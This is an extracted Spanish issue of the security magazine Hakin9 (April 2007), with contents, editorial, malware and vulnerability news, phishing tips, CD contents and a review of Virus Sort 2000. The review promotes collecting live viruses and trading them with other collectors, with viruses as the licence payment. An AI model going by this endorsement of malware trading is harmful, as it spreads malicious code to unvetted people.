Revista Hakin9 n23 04-2007 ES

84

description

Very Good

Transcript of Revista Hakin9 n23 04-2007 ES

Page 1: Revista Hakin9 n23 04-2007 ES
Page 2: Revista Hakin9 n23 04-2007 ES
Page 3: Revista Hakin9 n23 04-2007 ES
Page 4: Revista Hakin9 n23 04-2007 ES

4 www.hakin9.org

hakin9

5www.hakin9.org hakin9 Nr 2/2006

En breve 06

Resaltamos las noticias más importantes del mundo de la seguridad de sistemas informáticos.

Contenido de CD

hakin9.live 10

Comentamos el contenido y el funcionamiento de nuestra distribución hakin9.live.

Herramientas

Virus Sort 2000 12

The BlooDSe trata de una herramienta indispensable para todo aquel coleccionista de virus que desee llevar al día su colección y poder intercambiar virus con otros colec-cionistas. VS2000 nos permite crear una base de datos de nuestros virus, organizar nuestra colección, ver estadísticas, comparar logs, permite eliminar posibles fakes de nuestra colección, archivos de 0 bites, entre otras muchas cosas.

Ataque

Registro de Windows 16

Víctor López Juárez

En este artículo aprenderás qué es el Registro de Win-dows y su editor, cómo implementar seguridad sobre el Registro y cómo atacar el Editor del Registro.

Bluetooth – La Amenaza Azul 24

Ezequiel Martín SallisEn este artículo aprenderás qué es Bluetooth, cómo funciona, cuáles son los ataques mas comunes, etc.

Defensa

Web Services Security 30

José Carlos Cortizo Pérez, Diego Expósito, Diego Peces En este artículo leerás cómo protegerse de los pro-blemas básicos de seguridad relacionados con los servicios web y lo que deberías tener en cuenta a la hora de desarrollar tu propio servicio.

hakin9 de abril...

En abril, como cada mes desde enero del año 2007, hakin9 os trae una serie de artículos nuevos, interesantes y prácti-cos, que os ayudarán en vuestras actividades profesionales y que os dejarán conocer mejor algunas parcelas en el mundo de la seguridad informática hasta este momento desconocidas...

Uno de los artículos que seguro vale la pena leer es: Registro de Windows, que os enseñará cómo implementar seguridad sobre el registro de Windows y también como prevenir unos posibles ataques al Editor de Registro de Win-dows. El autor de texto es un profesional certificado por Intel Inside y también miembro de la comunidad de codigo seguro de Microsoft – quién mejor para contarnos sobre este tema. Seguro os resultará muy útil e interesante.

Otro artículo que vale la pena conocer es Bluetooth – La Amenza Azul . Los problemas que puede traernos el uso de Bluetooth son cada vez más populares, por lo tanto vale la pena conocerlo mas a fondo. Y para los que ya conocen el tema siempre es conveniente repetir la información.

En nuestra sección de herramientas encontrarán la des-cripción de Virus Sort 2000. Esta herramienta os ayudará a formar vuestra propia base de virus para coleccionarlos e intercambiar con otros aficionados al tema. Al ser Sha-reware todos podéis probarla.

En el CD de hakin9 encontraréis nuestro habitual hakin9live – cada vez mas actual y más útil. Tambien encon-traréis aplicaciones profesionales – totalmente gratis solo para los Lectores de hakin9.

Aprovechando esta oportunidad quiero invitaros otra vez más a participar de forma activa en la revista. Los articulos en la mayoria de las revistas están preparados por la redac-ción sin consultar los temas con los Lectores. En hakin9 puedes ser tú quien decida sobre el contenido final de la revista. Haciéndote nuestro Betatester recibirás articulos para leerlos mucho antes que los demas Lectores. Y serás tú quién nos diga si vale la pena publicarlos. Esta ayuda es voluntaria – participas cuando tienes tiempo y ganas.

Me gustaría también una vez más invitaros a compartir con los lectores de hakin9 vuestras experiencias con herra-mientas de seguridad informática y participar en nuestros tests.

También es una buena oportunidad para recordaros la posiblidad de ser miembro de nuestro Club .PRO. Si tienes una empresa relacionada con seguridad IT este Club es para tí. Por un coste de suscripcion anual tienes la publicidad de tu empresa en forma de tarjeta de visita, en los 12 números correspondientes a la suscripción anual. Esto te ayudará a dar a conocer a tu empresa con el coste muy bajo.

Si tenéis alguna duda, opinión o comenterio acerca de la revista y su calidad no dudéis en poneros en contacto con nostros. Todas las opiniones son muy valiosas para nuestra redacción.

Espero que disfrutéis de la compañía de hakin9, ¡buena lectura!

Katarzyna Chauca

Page 5: Revista Hakin9 n23 04-2007 ES

4 www.hakin9.org

hakin9

5www.hakin9.org hakin9 Nr 2/2006

Administrando la Inseguridad Informática 36

Jeimy J. CanoEn este artículo aprenderás diseñar y construir sis-temas menos inseguros, animar un apostura vigilante y proactiva en la gestión de la seguridad informática.

Programas malignos 44

Carlos Javier Fornes CabreraEn este artículo aprenderás qué es un Virus, Gusano y Caballo de Troya.

Ofuscación de Código en Java 56

Javier AlcubierreEn este artículo leerás sobre proteger tu código de miradas indiscretas, los puntos fuertes y débiles de los distintos métodos de ofuscación y sobre imple-mentar tus propios métodos de ofuscación.

Para principiantes

Protege gratis tu Windows 64

ANELKAOSExisten antivirus gratuitos que no tienen mucho que envidiar a los comerciales, Un soft de protección desactualizado puede ser el medio para vulnerar tu sistema

Test de consumidores 72

Presentamos las opiniones de nuestros Lectores sobre los programas antivirus.

Entrevista 76

Anna MarcinkiewiczHablamos con Fernando Bahamonde, Presidente de ISSA-España, nos cuenta sobre hacking y ajedrez, sobre el mito de ser hacker que no pierde su actuali-dad y muchas cosas más...

Próximo número 82

Avance de los artículos que se encontrarán en la siguiente edición de nuestra revista.

está editado por Software-Wydawnictwo Sp. z o.o.Dirección: Software-Wydawnictwo Sp. z o.o. ul. Bokserska 1, 02-682 Varsovia, PoloniaTfno: +48 22 887 10 10, Fax: +48 22 887 10 11www.hakin9.org/es Producción: Marta Kurpiewska [email protected]ón: Monika Godlewska [email protected] jefe: Anna Marcinkiewicz [email protected] Redactora adjunta: Katarzyna Ś[email protected] Preparación del CD: Rafał KwaśnyComposición: Artur Wieczorek [email protected]ón: Osiris Pimentel Cobas, Mariusz Muszak, Raúl Nanclares, Paulina StosikCorrección: Jesús Alvárez Rodrígez, Jorge Barrio AlfonsoBetatesters: Juan Pérez Moya, Jose M. García Alias, Luis Peralta Nieto, Jose Luis Herrera, Paco Galán

Publicidad: [email protected]ón: [email protected]ño portada: Agnieszka Marchocka

Las personas interesadas en cooperación rogamos se contacten: [email protected]

Si estás interesado en comprar la licencia para editar nuestras revistas contáctanos:Monika Godlewskae-mail: [email protected].: +48 22 887 12 66fax: +48 22 887 10 11

Imprenta: 101 Studio, Firma Tęgi Distribuye: coedis, s.l.Avd. Barcelona, 22508750 Molins de Rei (Barcelona), España

La Redacción se ha esforzado para que el material publicado en la revista y en el CD que la acompaña funcione correctamente. Sin embargo, no se responsabiliza de los posibles problemas que puedan surgir. Todas las marcas comerciales mencionadas en la revista son propiedad de las empresas correspondientes y han sido usadas únicamente con fines informativos.

¡Advertencia! Queda prohibida la reproducción total o parcial de esta publicación periódica, por cualquier medio o procedimiento, sin para ello contar con la autorización previa, expresa y por escrito del editor.

La Redacción usa el sistema de composición automática Los diagramas han sido elaborados con el programa de la empresa El CD incluido en la revista ha sido comprobado con el programa AntiVirenKit, producto de la empresa G Data Software Sp. z o.o.

La revista hakin9 es editada en 7 idiomas:

ES PL CZ EN

IT FR DE

Advertencia¡Las técnicas presentadas en los artículos se pueden usar SÓLO para realizar los tests de sus propias redes de ordenadores! La Redacción no responde del uso inadecuado de las técnicas descritas. ¡El uso de las técnicas presentadas puede provocar la pérdida de datos!

hakin9

Page 6: Revista Hakin9 n23 04-2007 ES

Breves

www.hakin9.org6

News

www.hakin9.org 7

Videos y fotos de la ejecución de Saddam que contienen virus informáticos y spywareLos crackers han evolucionado en sus métodos malévolos y están atacando con campañas masivas de spam con videos y fotos de la ejecución de Saddam Hussein que esconden en su interior virus infor-máticos y spyware.

Un virus ha sido identificado como Banload y contiene el archivo Saddam morto.scr, el otro sería el Delf.acc que contiene al archivo saddam.exe. Estos virus tienen el ob-jetivo de lucrarse mediante el robode identidades y claves bancarias para después limpiar las cuentas de sus propietarios.

40 años de cárcel por... un SpywareLa profesora Julie Amero, de Windham, situado en el estado de Connecticut, estaba impartiendo su clase de inglés a los alumnos de 12 años, cuando de la pantalla de su ordenador salieron imágenes pornográficas. Estos hechos ocu-rrieron en el 2004, y ahora ha sido declarada culpable de riesgo de daños a menores por lo que podría ser condenada a cuarenta años de cárcel.

Las imágenes pop-ups que salie-ron en el ordenador de la profesora eran fruto de un Spyware instalado en el ordenador de la profesora. Las imágenes salían de varias páginas webs, como meetlovers.com y fe-malesexual.com, entre otras. Para la acusación tales imágenes solo salían por que la profesora fre-cuentaba esas páginas, mientras que la defensa argumentó, a través del informático W. Herbert Horner, el ordenador estaba infectado por culpa de una inocente web de peinados y no por visitar páginas pornos. Además el programa anti-virus del colegio estaba caducado, por lo que la profesora no pudo limpiar su ordenador.

Los abogados de la defensa, en primera instancia pidieron la anulación del juicio, alegando que el jurado comenzó a discutir el caso en un almuerzo en un bar, pero esta instancia fue rechazada. Ahora pretenden apelar la decisión para mostrar la inocencia de su cliente.

Descubren software malicioso para Skype

El descubrimiento de un Troyano que infecta Skype, la aplicación

de telefonía VoIP, podría indicar que los ataques dirigidos están avan-zando junto con la creciente popula-ridad de la VoIP.

Recientemente se descubrió un gusano que ataca a los usuarios de la popular aplicación de telefonía VoIP Skype en la región de Asia Pacífico, especialmente en Corea. De acuerdo con Websense, el gusano utiliza Skype Chat para descargar y eje-cutar un archivo llamado sp.exe. Al parecer, el archivo deposita un Tro-yano que roba contraseñas con un gusano integrado que utiliza NTKrnl Secure Suite, una compresión rara pero no desconocida.

La buena noticia es que aún no se ha reportado una amplia propa-gación, señaló Jesús Vega, Director General de Trend Micro en España y Portugal. Aunque eso no significa que los usuarios de Skype deban despreocuparse y entrar en los enla-ces que reciben mientras conversan.

Ya que el software espía no parece explotar algún defecto de Skype, se requiere de la intervención del usuario para enviar el enlace a los contactos disponibles de un cliente infectado de Skype. Se le notifica al usuario infectado que un programa está tratando de tener acceso y que tiene que aceptarlo. Por lo tanto, los usuarios no deben permitir que pro-gramas sospechosos tengan acceso a Skype y deben evitar también entrar en los enlaces que provengan de fuentes inesperadas.

Actualmente, Trend Micro iden-tifica el componente que roba con-traseñas como TSPY_SKPE, que no es el primer código malicioso o software espía que utiliza Skype: en octubre pasado se detectó WORM_SKYPERISE.A.

La diferencia es que este spyware ya emplea una rutina más maliciosa (robo de información), en compara-ción con el gusano reportado en octu-bre que sólo propagaba copias de sí mismo a otros usuarios, afirmó Vega.

A pesar del hecho de que la téc-nica de propagación de este gusano es común, obviamente VoIP se está convirtiendo en un buen campo de batalla que los autores de códigos maliciosos pueden aprovechar. Ade-más, la rutina para el robo de con-traseñas, la compresión polimórfica para evitar la detección, y un país de origen específico indican que es un ataque localizado/dirigido con fines de lucro.

Trend Micro ya detecta este spyware usando el archivo de patro-nes más recientes. De acuerdo con las instrucciones manuales para eli-minarlo, los usuarios afectados sim-plemente pueden eliminar el archivo detectado y quitar el registro que la entrada crea.

El spyware troyano está hos-pedado en un sitio Web malicioso. A través de la función de Chat se envía un enlace de dicho sitio a los contactos de Skype, urgiendo a los usuarios a entrar en él. De hecho, puede utilizar una forma de inge-niería social al hacerse pasar por un programa interesante. Al momento de desarrollar este boletín, el sitio ya no estaba disponible.

El análisis inicial de la muestra que recibió Trend Labs revela que este software espía es un keylogger típico; roba la secuencia de teclas del usuario y guarda los datos recopila-dos en un archivo de texto. Esta rutina puede dar a los usuarios maliciosos, incluidos hackers remotos, acceso no autorizado a la cuenta Skype de un usuario infectado, posiblemente cuentas bancarias en línea y más.

Probablemente veremos amena-zas adicionales para VoIP en el futuro. Después de todo, el Vishing (phis-hing sobre VoIP) ya está rondando por Internet. Y Wikipedia incluye una entrada (http://en.wikipedia.org/wiki/VoIP_spam) para un problema aún no existente de spam vía VoIP, llamado SPIT (Spam over Internet Telephony). Esperemos amenazas para VoIP similares, si no es que más sofisticadas, en el futuro.

Page 7: Revista Hakin9 n23 04-2007 ES

Breves

www.hakin9.org6

News

www.hakin9.org 7

Internet Explorer 6: 284 días inseguroUn experto en seguridad del Was-hington Post, publicó un informe para nada alentador para el nave-gador de Microsoft.

Según una investigación hecha por el prestigioso diario Washing-ton Post, haber utilizado la versión 6 del popular navegador de Micro-soft, Internet Explorer, fue inseguro durante 284 días, más de un tercio del año.

El informe revela que, aún aque-llos usuarios que parchearon su equipo tan pronto como Microsoft publicó los parches también estu-vieron expuestos a cualquier clase de exploits.

Para agravar más la situación, hubo 98 días (el año pasado) en los cuales no hubo ningún tipo de parche disponible para fallas que habían sido detectadas y utilizadas por los hackers para robar datos personales.

En comparación, los usuarios del Mozilla Firefox solo estuvieron nueve días expuestos de manera crítica a la merced de cualquier ciber–delincuente que quisiera aprovecharse de ellos.

Si bien la versión 7 del Explorer promete más seguridad y menos fallas, su tardío lanzamiento (no-viembre del año pasado) no al-canzó para que el panorama con respecto a las vulnerabilidades no fuera tan sombrío.

Bug crítico en Adobe Reader y Acrobat 7.0.8Resulta que los programas de Adobe también pueden ser afec-tados. Un polaco Piotr Bania ha descubierto una vulnerabilidad ca-talogada como crítica en Adobe Reader y Acrobat. Este bug puede ser explotado por atacantes para hacerse con un control total del sistema afectado. El fallo se da por un error de corrupción de memoria cuando se procesan datos malfor-mados lo que lleva bajo determina-das circunstancias a la ejecución arbitraria de comandos por ejemplo abriendo un documento especial-mente manipulado. Afecta Adobe Reader 7.0.8 y anteriores, Acrobat Standard, Profesional, Elements y 3D versiones 7.0.8 y anteriores. La solución pasa por actualizar a las versiones 7.0.9 – 8.0.0.

Principales consejos para estar protegido frente al phishing

El phishing se basa en mensajes de correo electrónico que con-

ducen a sitios Web maliciosos dise-ñados para robar datos bancarios de usuarios – PandaLabs confirma que esta amenaza continuará siendo pro-tagonista durante este nuevo año.

PandaLabs, el laboratorio anti-malware de Panda Software, con-firma que el robo de datos privados y confidenciales por Internet, phis-hing, es una de las principales ame-nazas de cara al nuevo año. La gran cantidad de transacciones económi-cas realizadas en las fechas navide-ñas provoca un aumento de fraudes online de este tipo. Por ello, Panda-Labs ofrece una cómoda guía de con-sejos para salvaguardar la integridad económica de los usuarios.

Lo primero a tener en cuenta es que su entidad bancaria nunca se va a poner en contacto con usted por medio del correo electrónico para pedirle ningún tipo de contraseña. Los mensajes de correo electrónico que reciba solicitándole datos o con un enlace que le lleve a una pági-na donde le sean pedidos, bórrelos directamente, ya que es muy probable que se traten de mensajes fraudulen-tos.

Asegúrese también de que la página Web que está visitando es realmente la de la entidad bancaria que desea. Hay que observar el domi-

nio de la página para comprobar que no hay ningún tipo de variación con el correspondiente al dominio real de la entidad. Además, cerciórese de que está realizando una conexión segura. Para ello, debe observar que se encuentra en pantalla el dibujo del candado cerrado que nos indica la seguridad de la conexión y que la URL comienza con las letras https. También, en caso de duda, se puede comprobar que la certificación de la Web sea válida, haciendo doble clic en el candado.

Otra forma de asegurar la co-nexión en el sitio Web real de la com-pañía es escribiendo directamente en el navegador la dirección de la en-tidad a la que deseamos acceder, no a través de hipervínculos que pue-dan estar dirigidos a sitios Web frau-dulentos que permitan el robo de datos.

Además, la revisión periódica del extracto de las cuentas bancarias sirve para cerciorarse de que no han existido movimientos irregulares de activos en su cuenta, que podrían haber sido provocados por un ataque de phishing. Si observa operaciones desconocidas e irregulares en su extracto, la mejor solución es contac-tar con la entidad bancaria con la que se han realizado las transacciones, de modo que se pueda detallar en qué han consistido las mismas.

La industria informática alcanza acuerdo en la definición de Spyware

La Anti–Spyware Coalition, for-mada por Microsoft, Symantec,

Computer Associates, AOL, Yahoo! y McAfee, publicó en su sitio Web el primer documento en el que se define conjuntamente el termino Spyware.

En el documento se hace una clasificación de este tipo de códigos (que se instalan en el ordenador para espiar la actividad de los usua-rios) basado en el riesgo que supo-nen. Entre los códigos de alto riesgo

se encuentran todos aquellos que se expanden masivamente por correo electrónico, virus y worms (gusanos).

Códigos instalados sin autoriza-ción ni conocimiento de los usuarios, a través de un bug de seguridad, son también considerados de alto riesgo, así como aquellos que interceptan emails o modifican los niveles de seguridad del ordenador.

El documento ha levantado cierta polémica en el sector informático.

Page 8: Revista Hakin9 n23 04-2007 ES

Breves

www.hakin9.org8

News

www.hakin9.org 9

Un internauta condenado a dos meses de prisión y a una multa por descargar películasUn internauta francés que des-cargaba películas por el sistema de intercambio directo de ficheros (peer-to-peer) ha sido condenado a dos meses de cárcel y a una multa, según la sentencia dada a co-nocer por un tribunal de Nantes. No obstante, esta persona no ten-drá que ingresar en prisión.

El ordenador de este usuario había llegado a acumular alrededor de 400 películas, por las que tendrá que pagar ahora 10 euros por cada una a las asociaciones de edición de obras cinematográficas que se habían personado como parte civil en este proceso.

La sentencia tiene en cuenta que el internauta descargaba películas para su propio disfrute, sin interés lucrativo. Por este motivo se le han aplicado sanciones reducidas.

El Parlamento francés aprobó definitivamente una ley en junio de 2006 que regula las descargas de obras a través de Internet y con-templa en algunos supuestos pe-nas de cárcel y multas. Además, la ley francesa establece sanciones graduales que pueden llegar a lostres años de cárcel y fuertes mul-tas para el que comercialice pro-gramas destinados a fomentar la piratería.

Encuentran una denega-ción de servicio en SnortEn los últimos días se ha encon-trado una vulnerabilidad en Snort 1.x y 2.x que puede ser aprove-chada por atacantes sobre todo para provocar una denegación de servicio en el detector de intrusos.

El problema se basa en que el algoritmo de reconocimiento de patrones en Snort puede ser abu-sado para que consuma todos los recursos y provocar que el ratio de detección baje hasta ser nulo a través de paquetes especialmen-te manipulados.

La vulnerabilidad se ha confir-mado en la versión 2.4.3 pero otraspodrían verse afectadas. Para evitareste problema, se recomienda ac-tualizar a las últimas versiones, o sea,descargarlas desde la página Web www.snort.org.

Telefónica pone a disposición de Pymes, Negocios y Profesionales una herramienta de software diseñada por ECIJA

Telefónica de España continúa avanzando en su objetivo de

facilitar la gestión de los negocios y las pequeñas y las medianas empre-sas y para ello lanza al mercado la Solución Ayuda LOPD. Esta solución on-line permite cumplir con las obli-gaciones impuestas por la normativa de protección de datos personales de una forma sencilla y económica.

Para ello, ha trabajado con Ecija, firma de Abogados y Consultoría IT especializada en Protección de Datos y en la labor de apoyo y ges-tión a las empresas.

Solución Ayuda LOPD se basa en una aplicación web (en modo ASP) que analiza la importancia y el grado de confidencialidad de los datos personales que tratan las pymes, negocios y profesionales y ofrece las soluciones necesarias para el cum-plimiento tanto de la Ley Orgánica 15/1999 de Protección de Datos de Carácter Personal (LOPD) como del Real Decreto 994/1999, Reglamento de Medidas de Seguridad (RMS).

Además, el servicio proporciona los formularios oficiales de inscripción de ficheros ante la Agencia Española de Protección de Datos, permite generar y mantener siempre actuali-zado, y de forma dinámica, el Docu-

mento de Seguridad de la empresa, incluye la Documentación Jurídica necesaria para la adecuación (con-tratos, cláusulas, avisos legales, etc). El uso de esta solución garantiza la adecuación a la ley de forma rápida y eficaz a bajo coste, evitando cuan-tiosas sanciones por parte de la Agencia Española de Protección de Datos y velando por la profesionali-dad y la calidad de servicio.

Las principales ventajas de esta solución on-line son la facilidad de uso puesto que no se requieren conocimientos técnicos ni jurídicos para su utilización debido a la auto-matización de la mayoría de los procesos y los servicios de soporte gratuito. Su implantación supone un ahorro de costes y garantiza la actualización continua, estando cu-bierta la adaptación a la normativa ante posibles cambios legislativos, así como la fiabilidad, ya que la solu-ción está desarrollada por un equipo de consultores, técnicos y abogados especialistas en la protección de datos personales.

La Solución Ayuda LOPD puede contratarse a través de la Red de Ventas de Telefónica de España, los distribuidores autorizados y en www.telefonicaonline.com.

Proyecto Telefónica On-line

Page 9: Revista Hakin9 n23 04-2007 ES

Breves

www.hakin9.org8

News

www.hakin9.org 9

Spyware de Nueva Generación que Elude a los AntivirusLos hackers y cibercriminales uti-lizan troyanos y keyloggers para traspasar la seguridad de los anti-virus y antispywares. Esto ha oca-sionado que el 89% de los PCs par-ticulares estén infectados con un promedio de 30 virus informáticos o spywares cada uno. Según se analiza en el informe de Webroot, empresa de seguridad informática creadora del producto antispyware Spy Sweeper.

Una variante troyana del virus informático Código Rojo ataca redes informáticas británicas y estadounidensesExpertos en seguridad en Internet informan que están vigilantes ante la aparición de una variante de tipo troyana del gusano informático Código Rojo que detectaron tras los ataques cometidos en miles de terminales repartidas entre Estados Unidos y Reino Unido.

La variante del Código Rojo fue identificada como Código Rojo C. por la empresa privada de seguri-dad en Internet, Symantec AntiVi-rus Research Center, y no tardó en causar alarma mundial.

El UNIRAS, una sección del cen-tro del Gobierno británico para coor-dinar esfuerzos en la defensa de la infraestructura informática británica contra ataques electrónicos, así como la compañía de software anti-virus Network Associates se confe-saron víctimas del nuevo invasor enInternet.

Código Rojo C tiene poco que ver con su padre virtual ya que esta nueva versión no desactiva páginas Web como hacía el Código Ro-jo, sino que otorga al pirata informá-tico control remoto sobre las com-putadoras que infecta por medio de un caballo de Troya que introduce en el sistema.

Su capacidad de dispersión es hasta seis veces más rápida, y sus posibles efectos sobre Internet se desconocen, siendo más difícil de detectar y más complicado de eli-minar que su predecesor.

Esta nueva amenaza es más peli-grosa que las versiones anteriores del Código Rojo, a pesar de que es improbable que afecte toda la infra-estructura de Internet a corto plazo, según el UNIRAS.

Encuentran múltiples vulnerabilidades en lectores de archivos PDF

Diferentes lectores de archivos PDF son propensos a múltiples

vulnerabilidades del tipo desbor-damiento de búfer. La situación se produce debido a que por diseño, éstas aplicaciones no comprueban los límites de la información propor-cionada por estos archivos, antes de manipular la misma y copiarla a un búfer con insuficiente tamaño para recibirla.

Un atacante puede explotar estas debilidades para ejecutar código de forma arbitraria, aunque esto depende del contexto y del lector en concreto. La prueba de concepto existente, solo ocasiona una dene-gación de servicio (la aplicación involucrada se congela y deja de responder). Otros ataques podrían ser implementados a partir de esta situación, y ser empleados para el robo de información, o la ejecución de algún código malicioso.

El problema se origina al aplicar las especificaciones para los docu-mentos en formato PDF (que es una abreviación de Adobe Portable Document Format). La especifica-ción 1.3 de Adobe, define una serie de objetos en forma de árbol con jerarquías (es decir, cada objeto se organiza en diferentes ramas, cada una dependiente de la anterior hasta llegar a la raíz), formando un diccionario en forma de catálogo. El catálogo contiene las referencias necesarias a objetos y datos que componen el contenido del docu-mento y sus atributos. También, contiene directivas para definir la forma en que el documento debe ser mostrado al usuario por la apli-cación.

Por un error de diseño, no se contempla en estas especificacio-nes el uso de nodos o ramas con referencias u objetos inválidos. De ese modo, cuando el documento incorpora un nodo inválido, la conducta de la aplicación es ines-perada. Las consecuencias (entre otras), pueden ser la corrupción de

la memoria, acceso no autorizado a zonas de la memoria y denegación de servicio.

La corrupción de la memoria con la consecuente escritura de datos en áreas no previstas para ello, pueden llevar a la ejecución arbitraria de código.

Hasta ahora se ha comprobado el problema en los siguientes lecto-res de archivos PDF:

• Adobe Acrobat Reader 7.0.x,• Adobe Acrobat Reader 6.0.x,• Adobe Acrobat Reader 5.1,• Adobe Acrobat Reader 5.0.x,• Adobe Acrobat Reader 4.0.x,• Adobe Acrobat Reader 3.0,• Apple Mac OS X Preview.app

3.0.8 (409),• Xpdf 3.0.1 (Patch 2).

Sin embargo, siempre hay que tener en cuenta que otras aplicaciones también podrían ser afectadas, ya que no se debe a un problema de las aplicaciones en si mismas, sino a un error de diseño de las especificacio-nes para leer estos archivos.

No es afectada la versión 8.0 de Acrobat Reader.

Debido a su naturaleza (o sea, error de diseño), desgraciadamente no existe una solución concreta para este problema. Las consecuencias de su explotación, dependerán de la aplicación y la plataforma utilizada.

Para protegerse mejor antes de los ataques de virus, se recomienda, como una forma de disminuir los riesgos, no abrir documentos PDF que no han sido solicitados, o que vienen de fuentes no comprobadas, una cosa muy importante es también mantener actualizado su antivirus.

Una solución temporal también podría ser utilizar únicamente Acro-bat Reader 8.0.0 como lector, pero ello no asegura al usuario no ser afectado por otras consecuencias de este problema.

Page 10: Revista Hakin9 n23 04-2007 ES

hakin9.live

www.hakin9.org10

En el disco que acompaña a la revista se en-cuentra hakin9.live (h9l) en la versión 3.2.1 – aur – distribución bootable de Aurox que

incluye útiles herramientas, documentación, tutoriales y material adicional de los artículos. Para empezar el trabajo con hakin9.live, es suficiente ejecutar el orde-nador desde el CD. Después de ejecutar el sistema podemos registrarnos como usuario hakin9 sin intro-ducir contraseña.

El material adicional se encuentra en los siguientes directorios:

• docs – documentación en formato HTML,• art – material complementario a los artículos: scripts,

aplicaciones, programas necesarios,• tut – tutoriales, tutoriales tipo SWF.

Los materiales antiguos se encuentran en los subdi-rectorios_arch, en cambio, los nuevos – en los direc-torios principales según la estructura mencionada. En caso de explorar el disco desde el nivel de arranque de hakin9.live, esta estructura está accesible desde el subdirectorio /mnt/cdrom.

Construimos la versión 3.2.1 – aur h9l en base a la distribución de Aurox 12.0 y de los scripts de generación automatica (www.aurox.org/pl/live). Las herramientas no accesibles desde el CD se instalan desde el reposi-torio de Aurox con el programa yum.

En h9l encontraremos un programa de instalación (Aurox Live Instaler). Después de instalar en el disco se puede emplear el comando yum para instalar progra-mas adicionales.

Tutoriales y documentaciónLa documentación está compuesta de, entre otros, tuto-riales preparados por la redacción que incluyen ejerci-cios prácticos de los artículos

Suponemos que el usuario emplea hakin9.live. Gracias a ello evitaremos los problemas relacionados con las diferentes versiones de los compiladores, la diferente localización de los archivos de configuración u opciones necesarias para ejecutar la aplicación en el entorno dado.

Especialmente para nuestros Lectores CD1 contie-ne aplicaciones comerciales:

Comodo Firewall ProComodo es una empresa especialista líder en seguri-dad de Internet y provee la nueva generación de Solu-ciones de Seguridad para E-commerce. Casi todos los firewalls desgraciadamente tienen algunos agujeros,

Contenido de CD

por eso el Comodo Firewall tenía que pasar muchos tests de seguridad para asegurarse de que tiene una poder suficiente para averiguar todos los datos que entran en tu ordenador. Es capaz de clasificar hasta 10 000 aplicaciones según su nivel de seguridad: SAFE, SPYWARE y ADWARE. Pasó el Comodo's Patent In-jection Leak Test que simula la técnica que usan los hackers durante los ataques de Troyanos. No necesita ningún cambio de configuración para trabajar con su máxima fuerza.

Enigma Lite Desktop EditionEnigma Lite Desktop Edition (versión trial de 90 días) es un programa que sirve para almacenar y transferir do-cumentos; lo usan tanto los usuarios individuales para proteger sus ordenadores de mesa o portátiles, como las grandes empresas. Asegura la protección y la priva-cidad de archivos, correos electrónicos, bases de datos y de todos los documentos. Enigma ofrece una solución diseñada también para sistemas operativos Microsoft; sus componentes están integrados con el Windows. Nuestros lectores reciben el descuento de 50% para la versión completa del programa.

Net Conceal AntiHistoryNet Conceal AntiHistory (versión completa) es un pro-grama que borra perfectamente historial de tu actividad. Es capaz de borrar las cookies, Temporary Files, infor-mación recién escrita, historial de búsqueda, etc. Se lo puede usar con programas Internet Explorer, Windows, MS Office, MSN Messenger, programas de archivo (WinZip y WinRAR), programas de P2P (Kazaa, eMu-le), Google Toolbar y Google Desktop.

NetConceal AnonymizerNetConceal Anonymizer (versión trial) es un software que esconde tu IP cuando navegas por la red o durante cualquiera actividad tuya en Internet. Se lo puede usar con el Internet Explorer, programas de P2P, o con el e – mail – nadie verá tu autentica dirección de IP. ¡Es-conde tu IP y siéntete seguro!

eScan Internet SecurityEs una solución de seguridad diseñada para proteger los ordenadores personales de los virus, spyware, tro-yan, adware, malware, keyloggers, hackers, spammers, etc. Contiene el escanner de los emails y páginas Web, spam blocker para prohibir los emails peligrosos, ges-tión de privacidad, filtro de Pop-ups, etc. Versiones en inglés, español, francés, alemán, polaco, chino, islan-dés, portugués, italiano y finlandés. l

Page 11: Revista Hakin9 n23 04-2007 ES

Si no puedes leer el contenido del CD y no es culpa de un daño mecánico, contrólalo en por lo menos dos impulsiones de CD.

En caso de cualquier problemacon CD rogamos escribid a:[email protected]

Page 12: Revista Hakin9 n23 04-2007 ES

12

Herramientas

www.hakin9.org 13www.hakin9.org

Herramientas

VS2000 nos permite crear una base de datos de nues-tros virus, organizar nuestra colección, ver estadísticas, comparar logs, permite eliminar posibles fakes de nues-tra colección, archivos de 0 bites, entre otras muchas cosas.

VS2000 posee una licencia Shareware, pero el único pago que hay que efectuar es ceder una cantidad de virus, la que sea, a su autor, para poder conseguir las nuevas versiones, aunque en la Web del autor existe una versión algo más antigua.

Virus DatabasesComo es lógico empezaremos por el principio, y el prin-cipio es la pestaña de Virus Databases. En esta pestaña esta todo lo relacionado con nuestras bases de datos de virus. VS2000 transforma un archivo log en una ba-se de datos, la cual nosotros podemos modificar, con-sultar, etc.

• Build Database: Desde aquí se hace una base de datos a partir de un archivo log. Es necesa-rio recordar que VS2000 nos hace una base de datos distinta por cada log que tengamos. VS2000 reconoce los tipos más usuales de log dependien-do del antivirus, por lo tanto nos realizará una base de datos para KAV (Kaspersky), otra para NOD, … Las bases de datos se guardan con la ex-tensión *.DAT dentro de una carpeta llamada vir-data.

• Compare Log: Compara nuestra base de datos con otro archivo log. Si queremos comparar un archivo de KAV con nuestra base de datos, VS2000 lo comparará con la base de datos de KAV, no con las demás bases de datos, si es un log de NOD, pues con la base de datos de NOD. Esto es por la sen-cilla razón de que todos los antivirus no nombran a los virus de igual forma. Cuando se hace una comparación se crea un archivo log con los virus que faltan en tu base de datos y que si están en el otro log.

• Add new virii to DAT: Añade nuevos virus desde un log a nuestra base de datos. Esto es muy útil puesto que si conseguimos nuevos virus no necesitamos

hacer de nuevo un log con toda la colección para actualizar nuestra base de datos, bastará con hacer un log de los nuevos virus, y añadirlos a nuestra base de datos.

• Compare two logs: Compara dos los entre ellos mismos, NO los compara con la base de datos. Crea dos archivos logs, en los cuales están los virus que faltan en el otro log, es decir, si comparamos los logs: blood.log y avp.log nos creará dos archivos: uno que contenga los virus que faltan en el log blood.log y que se encuentran en avp.log, y otro log de forma vice-versa.

• Search: Busca virus dentro de nuestra base de datos. Realmente útil para buscar virus concretos.

• Generate Reports: Dentro de esta opción nos encon-tramos con muchas más opciones:– Generate virii lists: Nos crea una lista con todos

nuestros virus.– Generate report: Nos crea un archivo log, igual

que el creado con el antivirus, de cada una de nuestras bases de datos.

– Generate statistics: Crea un informe con los tipos de virus que poseemos, el número de virus de cada tipo, y el porcentaje. Esta opción también es realmente útil.

– Generate browse list from DATs: Genera una lista en 2 o 3 columnas en las que aparece el nombre que AVP le da a un virus, el nombre que le da F-Prot y el fichero que tienes en tu colección corres-pondiente a ese virus.

Sistema operativo: WindowsLicencia: SharewareDestino: Catalogador de colecciones de virusPágina de inicio: http://www.infonegocio.com/vbuster/

